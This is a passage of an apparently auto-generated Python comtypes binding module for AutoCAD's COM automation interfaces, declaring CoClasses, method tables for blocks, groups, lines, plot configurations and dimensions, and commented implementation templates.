@property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Origin, XAxisPoint, YAxisPoint, Name):\n## '-no docstring-'\n## #return pUCS\n##\n\nclass AcadPdfUnderlay(CoClass):\n _reg_clsid_ = GUID('{20AEBC62-E2C7-4CE3-8630-33DADE2314B1}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadPdfUnderlay._com_interfaces_ = [IAcadUnderlay]\nAcadPdfUnderlay._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadSubEntity(CoClass):\n _reg_clsid_ = GUID('{1C8F5F76-A4DF-4F74-809E-B48ED08D4D0A}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubEntity._com_interfaces_ = [IAcadSubEntity]\n\nIAcadSubEntSolidFace._methods_ = [\n COMMETHOD([dispid(1399), 'propget'], HRESULT, 'Material',\n ( ['out', 'retval'], POINTER(BSTR), 'Material' )),\n COMMETHOD([dispid(1399), 'propput'], HRESULT, 'Material',\n ( ['in'], BSTR, 'Material' )),\n]\n################################################################\n## code template for IAcadSubEntSolidFace implementation\n##class IAcadSubEntSolidFace_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Material\n## def _set(self, Material):\n## '-no docstring-'\n## Material = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadDgnUnderlay(CoClass):\n _reg_clsid_ = GUID('{D14ABE17-087D-4565-A234-5F25A5DDC100}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDgnUnderlay._com_interfaces_ = [IAcadUnderlay]\nAcadDgnUnderlay._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadSubEntSolidEdge._methods_ = [\n]\n################################################################\n## code template for IAcadSubEntSolidEdge implementation\n##class IAcadSubEntSolidEdge_Impl(object):\n\nIAcadBlocks._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlock)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlock)), 'pBlock' )),\n]\n################################################################\n## code template for IAcadBlocks implementation\n##class IAcadBlocks_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, InsertionPoint, Name):\n## '-no docstring-'\n## #return pBlock\n##\n\nclass IAcadDimStyle(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{8F914C29-D8BF-496A-820F-AECDFFF51157}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadDimStyles._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimStyle)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimStyle)), 'pDimStyle' )),\n]\n################################################################\n## code template for IAcadDimStyles implementation\n##class IAcadDimStyles_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pDimStyle\n##\n\nclass IAcadGroup(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{05A2CC54-2ABD-4722-BB71-1CBEC947DAFC}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadGroups._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadGroup)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadGroup)), 'pDimStyle' )),\n]\n################################################################\n## code template for IAcadGroups implementation\n##class IAcadGroups_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pDimStyle\n##\n\nIAcadLine._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'StartPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'StartPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'StartPoint',\n ( ['in'], VARIANT, 'StartPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndPoint' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'EndPoint',\n ( ['in'], VARIANT, 'EndPoint' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(5)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Delta',\n ( ['out', 'retval'], POINTER(VARIANT), 'Delta' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Angle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'Angle' )),\n]\n################################################################\n## code template for IAcadLine implementation\n##class IAcadLine_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return StartPoint\n## def _set(self, StartPoint):\n## '-no docstring-'\n## StartPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndPoint\n## def _set(self, EndPoint):\n## '-no docstring-'\n## EndPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n## @property\n## def Delta(self):\n## '-no docstring-'\n## #return Delta\n##\n## @property\n## def Length(self):\n## '-no docstring-'\n## #return Length\n##\n## @property\n## def Angle(self):\n## '-no docstring-'\n## #return Angle\n##\n\nIAcadGroup._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadEntity)), 'ppEntity' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(15), helpstring('Sets the true color for entities in the group.'), 'propput'], HRESULT, 'TrueColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'rhs' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Layer',\n ( ['in'], BSTR, 'rhs' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Linetype',\n ( ['in'], BSTR, 'rhs' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'LinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'rhs' )),\n COMMETHOD([dispid(6), 'nonbrowsable', 'propput'], HRESULT, 'Visible',\n ( ['in'], VARIANT_BOOL, 'rhs' )),\n COMMETHOD([dispid(7)], HRESULT, 'Highlight',\n ( ['in'], VARIANT_BOOL, 'HighlightFlag' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'PlotStyleName',\n ( ['in'], BSTR, 'rhs' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'Lineweight',\n ( ['in'], ACAD_LWEIGHT, 'rhs' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'pVal' )),\n COMMETHOD([dispid(11)], HRESULT, 'AppendItems',\n ( ['in'], VARIANT, 'Objects' )),\n COMMETHOD([dispid(12)], HRESULT, 'RemoveItems',\n ( ['in'], VARIANT, 'Objects' )),\n COMMETHOD([dispid(14)], HRESULT, 'Update'),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Material',\n ( ['in'], BSTR, 'rhs' )),\n COMMETHOD([dispid(2), 'hidden', 'propput'], HRESULT, 'color',\n ( ['in'], AcColor, 'rhs' )),\n]\n################################################################\n## code template for IAcadGroup implementation\n##class IAcadGroup_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return ppEntity\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## def _set(self, rhs):\n## 'Sets the true color for entities in the group.'\n## TrueColor = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Layer = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Linetype = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## LinetypeScale = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Visible = property(fset = _set, doc = _set.__doc__)\n##\n## def Highlight(self, HighlightFlag):\n## '-no docstring-'\n## #return \n##\n## def _set(self, rhs):\n## '-no docstring-'\n## PlotStyleName = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Lineweight = property(fset = _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def AppendItems(self, Objects):\n## '-no docstring-'\n## #return \n##\n## def RemoveItems(self, Objects):\n## '-no docstring-'\n## #return \n##\n## def Update(self):\n## '-no docstring-'\n## #return \n##\n## def _set(self, rhs):\n## '-no docstring-'\n## Material = property(fset = _set, doc = _set.__doc__)\n##\n## def _set(self, rhs):\n## '-no docstring-'\n## color = property(fset = _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcDataLinkUpdateOption'\nacUpdateOptionNone = 0\nacUpdateOptionOverwriteContentModifiedAfterUpdate = 131072\nacUpdateOptionOverwriteFormatModifiedAfterUpdate = 262144\nacUpdateOptionUpdateFullSourceRange = 524288\nacUpdateOptionIncludeXrefs = 1048576\nAcDataLinkUpdateOption = c_int # enum\nclass IAcadPlotConfiguration(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{50DB2D91-C05B-40DB-853B-CD4EE5B3CB96}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadLayout(IAcadPlotConfiguration):\n _case_insensitive_ = True\n _iid_ = GUID('{DFE6FFB2-5BEE-4C18-A651-12F94148E4C9}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadPlotConfiguration._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'ConfigName',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'ConfigName',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'CanonicalMediaName',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'CanonicalMediaName',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'PaperUnits',\n ( ['out', 'retval'], POINTER(AcPlotPaperUnits), 'pPaperUnits' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'PaperUnits',\n ( ['in'], AcPlotPaperUnits, 'pPaperUnits' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'PlotViewportBorders',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pViewportBorders' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'PlotViewportBorders',\n ( ['in'], VARIANT_BOOL, 'pViewportBorders' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'ShowPlotStyles',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pStyles' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'ShowPlotStyles',\n ( ['in'], VARIANT_BOOL, 'pStyles' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'PlotRotation',\n ( ['out', 'retval'], POINTER(AcPlotRotation), 'pRotation' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'PlotRotation',\n ( ['in'], AcPlotRotation, 'pRotation' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'CenterPlot',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pCentered' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'CenterPlot',\n ( ['in'], VARIANT_BOOL, 'pCentered' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'PlotHidden',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pHidden' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'PlotHidden',\n ( ['in'], VARIANT_BOOL, 'pHidden' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'PlotType',\n ( ['out', 'retval'], POINTER(AcPlotType), 'pType' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'PlotType',\n ( ['in'], AcPlotType, 'pType' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ViewToPlot',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ViewToPlot',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'UseStandardScale',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pUseStdScale' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'UseStandardScale',\n ( ['in'], VARIANT_BOOL, 'pUseStdScale' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'StandardScale',\n ( ['out', 'retval'], POINTER(AcPlotScale), 'pStdScale' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'StandardScale',\n ( ['in'], AcPlotScale, 'pStdScale' )),\n COMMETHOD([dispid(17)], HRESULT, 'GetCustomScale',\n ( ['out'], POINTER(c_double), 'Numerator' ),\n ( ['out'], POINTER(c_double), 'Denominator' )),\n COMMETHOD([dispid(18)], HRESULT, 'SetCustomScale',\n ( ['in'], c_double, 'Numerator' ),\n ( ['in'], c_double, 'Denominator' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'ScaleLineweights',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pScale' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'ScaleLineweights',\n ( ['in'], VARIANT_BOOL, 'pScale' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'PlotWithLineweights',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pPlot' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'PlotWithLineweights',\n ( ['in'], VARIANT_BOOL, 'pPlot' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'PlotViewportsFirst',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pViewportsFirst' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'PlotViewportsFirst',\n ( ['in'], VARIANT_BOOL, 'pViewportsFirst' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'StyleSheet',\n ( ['out', 'retval'], POINTER(BSTR), 'pName' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'StyleSheet',\n ( ['in'], BSTR, 'pName' )),\n COMMETHOD([dispid(26)], HRESULT, 'GetPaperMargins',\n ( ['out'], POINTER(VARIANT), 'LowerLeft' ),\n ( ['out'], POINTER(VARIANT), 'UpperRight' )),\n COMMETHOD([dispid(28)], HRESULT, 'GetPaperSize',\n ( ['out'], POINTER(c_double), 'Width' ),\n ( ['out'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'PlotOrigin',\n ( ['out', 'retval'], POINTER(VARIANT), 'pOrigin' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'PlotOrigin',\n ( ['in'], VARIANT, 'pOrigin' )),\n COMMETHOD([dispid(31)], HRESULT, 'GetWindowToPlot',\n ( ['out'], POINTER(VARIANT), 'LowerLeft' ),\n ( ['out'], POINTER(VARIANT), 'UpperRight' )),\n COMMETHOD([dispid(32)], HRESULT, 'SetWindowToPlot',\n ( ['in'], VARIANT, 'LowerLeft' ),\n ( ['in'], VARIANT, 'UpperRight' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'PlotWithPlotStyles',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pStyles' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'PlotWithPlotStyles',\n ( ['in'], VARIANT_BOOL, 'pStyles' )),\n COMMETHOD([dispid(34), 'propget'], HRESULT, 'ModelType',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pType' )),\n COMMETHOD([dispid(35)], HRESULT, 'CopyFrom',\n ( ['in'], POINTER(IAcadPlotConfiguration), 'pPlotConfig' )),\n COMMETHOD([dispid(36)], HRESULT, 'GetCanonicalMediaNames',\n ( ['out', 'retval'], POINTER(VARIANT), 'pNames' )),\n COMMETHOD([dispid(37)], HRESULT, 'GetPlotDeviceNames',\n ( ['out', 'retval'], POINTER(VARIANT), 'pNames' )),\n COMMETHOD([dispid(38)], HRESULT, 'GetPlotStyleTableNames',\n ( ['out', 'retval'], POINTER(VARIANT), 'pNames' )),\n COMMETHOD([dispid(39)], HRESULT, 'RefreshPlotDeviceInfo'),\n COMMETHOD([dispid(40)], HRESULT, 'GetLocaleMediaName',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pLocalName' )),\n]\n################################################################\n## code template for IAcadPlotConfiguration implementation\n##class IAcadPlotConfiguration_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## ConfigName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## CanonicalMediaName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pPaperUnits\n## def _set(self, pPaperUnits):\n## '-no docstring-'\n## PaperUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pViewportBorders\n## def _set(self, pViewportBorders):\n## '-no docstring-'\n## PlotViewportBorders = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pStyles\n## def _set(self, pStyles):\n## '-no docstring-'\n## ShowPlotStyles = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pRotation\n## def _set(self, pRotation):\n## '-no docstring-'\n## PlotRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pCentered\n## def _set(self, pCentered):\n## '-no docstring-'\n## CenterPlot = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pHidden\n## def _set(self, pHidden):\n## '-no docstring-'\n## PlotHidden = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pType\n## def _set(self, pType):\n## '-no docstring-'\n## PlotType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## ViewToPlot = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pUseStdScale\n## def _set(self, pUseStdScale):\n## '-no docstring-'\n## UseStandardScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pStdScale\n## def _set(self, pStdScale):\n## '-no docstring-'\n## StandardScale = property(_get, _set, doc = _set.__doc__)\n##\n## def GetCustomScale(self):\n## '-no docstring-'\n## #return Numerator, Denominator\n##\n## def SetCustomScale(self, Numerator, Denominator):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return pScale\n## def _set(self, pScale):\n## '-no docstring-'\n## ScaleLineweights = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pPlot\n## def _set(self, pPlot):\n## '-no docstring-'\n## PlotWithLineweights = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pViewportsFirst\n## def _set(self, pViewportsFirst):\n## '-no docstring-'\n## PlotViewportsFirst = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pName\n## def _set(self, pName):\n## '-no docstring-'\n## StyleSheet = property(_get, _set, doc = _set.__doc__)\n##\n## def GetPaperMargins(self):\n## '-no docstring-'\n## #return LowerLeft, UpperRight\n##\n## def GetPaperSize(self):\n## '-no docstring-'\n## #return Width, Height\n##\n## def _get(self):\n## '-no docstring-'\n## #return pOrigin\n## def _set(self, pOrigin):\n## '-no docstring-'\n## PlotOrigin = property(_get, _set, doc = _set.__doc__)\n##\n## def GetWindowToPlot(self):\n## '-no docstring-'\n## #return LowerLeft, UpperRight\n##\n## def SetWindowToPlot(self, LowerLeft, UpperRight):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return pStyles\n## def _set(self, pStyles):\n## '-no docstring-'\n## PlotWithPlotStyles = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def ModelType(self):\n## '-no docstring-'\n## #return pType\n##\n## def CopyFrom(self, pPlotConfig):\n## '-no docstring-'\n## #return \n##\n## def GetCanonicalMediaNames(self):\n## '-no docstring-'\n## #return pNames\n##\n## def GetPlotDeviceNames(self):\n## '-no docstring-'\n## #return pNames\n##\n## def GetPlotStyleTableNames(self):\n## '-no docstring-'\n## #return pNames\n##\n## def RefreshPlotDeviceInfo(self):\n## '-no docstring-'\n## #return \n##\n## def GetLocaleMediaName(self, Name):\n## '-no docstring-'\n## #return pLocalName\n##\n\nIAcadLayout._methods_ = [\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'Block',\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlock)), 'pBlock' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'TabOrder',\n ( ['out', 'retval'], POINTER(c_int), 'pOrder' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'TabOrder',\n ( ['in'], c_int, 'pOrder' )),\n]\n################################################################\n## code template for IAcadLayout implementation\n##class IAcadLayout_Impl(object):\n## @property\n## def Block(self):\n## '-no docstring-'\n## #return pBlock\n##\n## def _get(self):\n## '-no docstring-'\n## #return pOrder\n## def _set(self, pOrder):\n## '-no docstring-'\n## TabOrder = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadDimRadial._methods_ = [\n COMMETHOD([dispid(42), 'nonbrowsable', 'propput'], HRESULT, 'LeaderLength',\n ( ['in'], c_double, 'rhs' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(43), 'propget'], HRESULT, 'CenterType',\n ( ['out', 'retval'], POINTER(AcDimCenterType), 'Type' )),\n COMMETHOD([dispid(43), 'propput'], HRESULT, 'CenterType',\n ( ['in'], AcDimCenterType, 'Type' )),\n COMMETHOD([dispid(44), 'propget'], HRESULT, 'CenterMarkSize',\n ( ['out', 'retval'], POINTER(c_double), 'Type' )),\n COMMETHOD([dispid(44), 'propput'], HRESULT, 'CenterMarkSize',\n ( ['in'], c_double, 'Type' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n 